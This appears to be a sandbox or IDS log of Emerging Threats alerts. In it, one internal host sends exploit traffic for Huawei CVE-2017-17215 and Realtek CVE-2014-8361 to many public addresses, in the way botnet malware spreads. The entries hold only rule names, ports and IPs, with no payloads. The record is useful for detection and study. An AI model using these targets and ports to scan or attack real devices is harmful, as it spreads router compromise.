ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.91.61

Timestamp:	07/20/24-23:05:52.311537
SID:	2829579
Source Port:	56866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.16.82.82

Timestamp:	07/20/24-23:05:46.918113
SID:	2829579
Source Port:	43666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.65.179.96

Timestamp:	07/20/24-23:05:46.973669
SID:	2835222
Source Port:	58152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.190.71.241

Timestamp:	07/20/24-23:05:46.981573
SID:	2829579
Source Port:	46640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.113.67.133

Timestamp:	07/20/24-23:05:51.418934
SID:	2027339
Source Port:	33116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.106.194.233

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	35116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 92.253.193.163

Timestamp:	07/20/24-23:05:47.449837
SID:	2025132
Source Port:	60188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.121.201.134

Timestamp:	07/20/24-23:05:52.227948
SID:	2835222
Source Port:	41092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.94.29.29

Timestamp:	07/20/24-23:05:46.926640
SID:	2829579
Source Port:	49298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.4.186

Timestamp:	07/20/24-23:05:52.227948
SID:	2829579
Source Port:	54242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.35.231.73

Timestamp:	07/20/24-23:05:46.926640
SID:	2835222
Source Port:	45292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 102.46.199.20

Timestamp:	07/20/24-23:05:51.423445
SID:	2831300
Source Port:	50056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.18.60.239

Timestamp:	07/20/24-23:05:52.214852
SID:	2829579
Source Port:	50284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.187.150.19

Timestamp:	07/20/24-23:05:47.406342
SID:	2027339
Source Port:	52194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.65.11.119

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	45734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.176.89.70

Timestamp:	07/20/24-23:05:52.251312
SID:	2829579
Source Port:	40840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 73.83.129.52

Timestamp:	07/20/24-23:05:51.418934
SID:	2027339
Source Port:	35100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 218.45.227.32

Timestamp:	07/20/24-23:05:51.427522
SID:	2831300
Source Port:	54622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 58.227.194.202

Timestamp:	07/20/24-23:05:54.765418
SID:	2027339
Source Port:	37458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 171.175.125.48

Timestamp:	07/20/24-23:05:51.418934
SID:	2831300
Source Port:	44836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 191.78.129.32

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	55824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 205.198.86.28

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	33746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.229.227

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	40364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 39.102.197.30

Timestamp:	07/20/24-23:05:46.981573
SID:	2835222
Source Port:	57062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.185.160

Timestamp:	07/20/24-23:05:52.258489
SID:	2829579
Source Port:	52036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 58.227.194.202

Timestamp:	07/20/24-23:05:54.765418
SID:	2025132
Source Port:	37458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.136.223.71

Timestamp:	07/20/24-23:05:47.533432
SID:	2829579
Source Port:	54840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 69.105.43.224

Timestamp:	07/20/24-23:05:51.420131
SID:	2027339
Source Port:	53410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.78.99

Timestamp:	07/20/24-23:05:46.981572
SID:	2835222
Source Port:	54998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.200.3.249

Timestamp:	07/20/24-23:05:47.534030
SID:	2835222
Source Port:	44416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.216.214

Timestamp:	07/20/24-23:05:47.533407
SID:	2829579
Source Port:	50332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.93.169

Timestamp:	07/20/24-23:05:47.535438
SID:	2835222
Source Port:	46668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.229.161

Timestamp:	07/20/24-23:05:52.251312
SID:	2835222
Source Port:	37818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 58.221.228.247

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	43764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 170.193.85.178

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	54768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 201.57.227.248

Timestamp:	07/20/24-23:05:46.563627
SID:	2027339
Source Port:	42090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 98.62.191.234

Timestamp:	07/20/24-23:05:46.808026
SID:	2025132
Source Port:	57698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 187.208.99.105

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	33406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 44.171.241.23

Timestamp:	07/20/24-23:05:46.976752
SID:	2835222
Source Port:	50592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.103.203.136

Timestamp:	07/20/24-23:05:46.982251
SID:	2835222
Source Port:	48328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 54.54.215.85

Timestamp:	07/20/24-23:05:51.418278
SID:	2831300
Source Port:	33600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.61.195.50

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	45222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 115.124.30.25

Timestamp:	07/20/24-23:05:46.907724
SID:	2829579
Source Port:	50756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.79.38.107

Timestamp:	07/20/24-23:05:46.929085
SID:	2829579
Source Port:	59746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.192.112

Timestamp:	07/20/24-23:05:46.912775
SID:	2829579
Source Port:	44984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 72.17.189.116

Timestamp:	07/20/24-23:05:51.441209
SID:	2027339
Source Port:	52340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.147.59.60

Timestamp:	07/20/24-23:05:46.912775
SID:	2835222
Source Port:	34156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.192.42.134

Timestamp:	07/20/24-23:05:52.269606
SID:	2835222
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.30.207.238

Timestamp:	07/20/24-23:05:46.919504
SID:	2829579
Source Port:	54004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.45.156.70

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	45166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 220.140.76.88

Timestamp:	07/20/24-23:05:46.929085
SID:	2835222
Source Port:	42854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 201.57.227.248

Timestamp:	07/20/24-23:05:46.563627
SID:	2025132
Source Port:	42090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.192.204

Timestamp:	07/20/24-23:05:52.258489
SID:	2835222
Source Port:	60810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 162.187.150.19

Timestamp:	07/20/24-23:05:47.406342
SID:	2025132
Source Port:	52194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 155.180.4.142

Timestamp:	07/20/24-23:05:51.418537
SID:	2027339
Source Port:	50660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.74.70.31

Timestamp:	07/20/24-23:05:47.538262
SID:	2829579
Source Port:	60614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.4.73

Timestamp:	07/20/24-23:05:46.966276
SID:	2829579
Source Port:	49420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.99.191.32

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	56156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 81.130.219.80

Timestamp:	07/20/24-23:05:47.429952
SID:	2025132
Source Port:	37800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 130.201.224.129

Timestamp:	07/20/24-23:05:51.487087
SID:	2831300
Source Port:	45636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.55.21.62

Timestamp:	07/20/24-23:05:46.907724
SID:	2835222
Source Port:	50018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 54.82.97.176

Timestamp:	07/20/24-23:05:47.505471
SID:	2025132
Source Port:	43492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.100.121.122

Timestamp:	07/20/24-23:05:52.281343
SID:	2835222
Source Port:	35058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.183.255.235

Timestamp:	07/20/24-23:05:46.919504
SID:	2829579
Source Port:	39584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.211.96.69

Timestamp:	07/20/24-23:05:46.922963
SID:	2829579
Source Port:	57444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.23.223.104

Timestamp:	07/20/24-23:05:46.976752
SID:	2835222
Source Port:	37204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.157.96.1

Timestamp:	07/20/24-23:05:52.192507
SID:	2835222
Source Port:	47362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.62.191.234

Timestamp:	07/20/24-23:05:46.808026
SID:	2027339
Source Port:	57698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.195.218.157

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	56776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.179.38.142

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	35742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 103.1.126.231

Timestamp:	07/20/24-23:05:51.419676
SID:	2831300
Source Port:	60494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.15.200.246

Timestamp:	07/20/24-23:05:52.281343
SID:	2829579
Source Port:	60796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.246.24

Timestamp:	07/20/24-23:05:47.536680
SID:	2835222
Source Port:	45594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.111.143.113

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	42364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.187.94.235

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	34648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 171.175.125.48

Timestamp:	07/20/24-23:05:46.457705
SID:	2025132
Source Port:	44108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 92.36.25.236

Timestamp:	07/20/24-23:05:46.982907
SID:	2829579
Source Port:	33002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 142.17.9.107

Timestamp:	07/20/24-23:05:51.420131
SID:	2831300
Source Port:	37062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.245.73.17

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	35970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.168.102.178

Timestamp:	07/20/24-23:05:46.971186
SID:	2829579
Source Port:	52574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.203.131.159

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	35062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 100.11.251.147

Timestamp:	07/20/24-23:05:46.726134
SID:	2025132
Source Port:	42114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.132.215.240

Timestamp:	07/20/24-23:05:51.498918
SID:	2027339
Source Port:	35550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 186.219.109.51

Timestamp:	07/20/24-23:05:46.923415
SID:	2829579
Source Port:	40032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.40.78.120

Timestamp:	07/20/24-23:05:46.991466
SID:	2835222
Source Port:	51640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.1.126.231

Timestamp:	07/20/24-23:05:46.444439
SID:	2027339
Source Port:	59768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.228.58

Timestamp:	07/20/24-23:05:46.976752
SID:	2829579
Source Port:	50836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 198.139.127.65

Timestamp:	07/20/24-23:05:47.344104
SID:	2025132
Source Port:	50220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.5.6.138

Timestamp:	07/20/24-23:05:46.912775
SID:	2835222
Source Port:	53986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.172.40.25

Timestamp:	07/20/24-23:05:46.926640
SID:	2835222
Source Port:	57360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.208.82

Timestamp:	07/20/24-23:05:46.973669
SID:	2835222
Source Port:	55240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.97.7.223

Timestamp:	07/20/24-23:05:46.922963
SID:	2835222
Source Port:	33106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 211.173.199.71

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	56886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 130.42.76.120

Timestamp:	07/20/24-23:05:56.971517
SID:	2025132
Source Port:	38802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.151.90

Timestamp:	07/20/24-23:05:46.923415
SID:	2829579
Source Port:	53506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.102.77.146

Timestamp:	07/20/24-23:05:47.535868
SID:	2835222
Source Port:	58852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 107.96.10.112

Timestamp:	07/20/24-23:05:51.428628
SID:	2027339
Source Port:	59592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.124.50.61

Timestamp:	07/20/24-23:05:46.981573
SID:	2835222
Source Port:	59046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.18.238.74

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	49848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.146.19

Timestamp:	07/20/24-23:05:46.981573
SID:	2829579
Source Port:	40314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 79.205.6.73

Timestamp:	07/20/24-23:05:51.421877
SID:	2027339
Source Port:	56816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 84.205.84.200

Timestamp:	07/20/24-23:05:51.421877
SID:	2831300
Source Port:	40188
Destination Port:	52869
